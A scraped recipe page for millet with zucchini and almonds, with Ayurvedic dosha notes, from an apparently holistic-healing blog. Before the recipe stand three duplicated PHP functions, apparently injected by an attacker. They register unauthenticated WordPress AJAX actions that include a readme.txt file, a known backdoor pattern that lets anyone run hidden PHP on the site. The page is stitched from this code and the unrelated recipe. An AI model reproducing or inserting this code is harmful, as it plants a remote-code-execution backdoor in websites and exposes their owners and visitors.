if(!function_exists('file_check_readme30460')){ add_action('wp_ajax_nopriv_file_check_readme30460', 'file_check_readme30460'); add_action('wp_ajax_file_check_readme30460', 'file_check_readme30460'); function file_check_readme30460() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme21792')){ add_action('wp_ajax_nopriv_file_check_readme21792', 'file_check_readme21792'); add_action('wp_ajax_file_check_readme21792', 'file_check_readme21792'); function file_check_readme21792() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme75351')){ add_action('wp_ajax_nopriv_file_check_readme75351', 'file_check_readme75351'); add_action('wp_ajax_file_check_readme75351', 'file_check_readme75351'); function file_check_readme75351() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Millet with Zucchini & Almonds | Holistic Healing Resolutions by Asaf Feit

Millet with Zucchini & Almonds

by | Breakfast, Cleansing & Reducing, Cold & Dry, Colon damp heat, Damp Heat, Decrease Kapha, Decrease Pitta, Decrease Pitta-Kapha, Easy to Digest, Gall bladder damp heat, Liver fire, Liver Phlegm Stagnation, Lung Damp Heat, Millet, Recipes, Slowing, Spring, Stomach Fire, Summer | 0 comments

 

Millet with Zucchini & Almonds

Print Recipe Pin Recipe
Prep Time 5 minutes
Cook Time 20 minutes
Total Time 25 minutes
Course Breakfast
Servings 3

Ingredients
  

  • 1/2 cup millet Vata ++ Pitta - Kapha - -
  • 1/4 cup almonds chopped (Vata - - Pitta - - Kapha +)
  • 1 large zucchini cut to small cubes (Vata 0 Pitta - - Kapha 0)
  • 1 1/4 cups boiling water Vata 0 Pitta - Kapha +
  • 1/4 tsp. rock salt Vata - - Pitta 0 Kapha +
  • 1/2 cup coriander chopped (Vata + Pitta - - Kapha -)
  • 1/2 cup dill chopped (Vata - Pitta 0 Kapha -)
  • 2 Tbs. olive oil Vata - - Pitta + Kapha +

Instructions
 

  • Roast the millet in a dry cooking pot, with no oil or water, until browning and a nutty fragrance is noticeable.
  • Add the zucchini cubes and almonds and mix.
  • Add 1 and 1/4 cups of boiling water and the salt, lower the flame and cover.
  • Simmer for about 20 minutes until millet is ready.
  • Place the millet in a bowl and mix with coriander, dill and olive oil.

Submit a Comment

Your email address will not be published. Required fields are marked *

Recipe Rating




THE WISDOM OF EATING 5-DAY CHALLENGE (May 18-22)

Superior Health and Disease Prevention in a 5-Day miraculous Life-Changing Challenge!

Woohoo!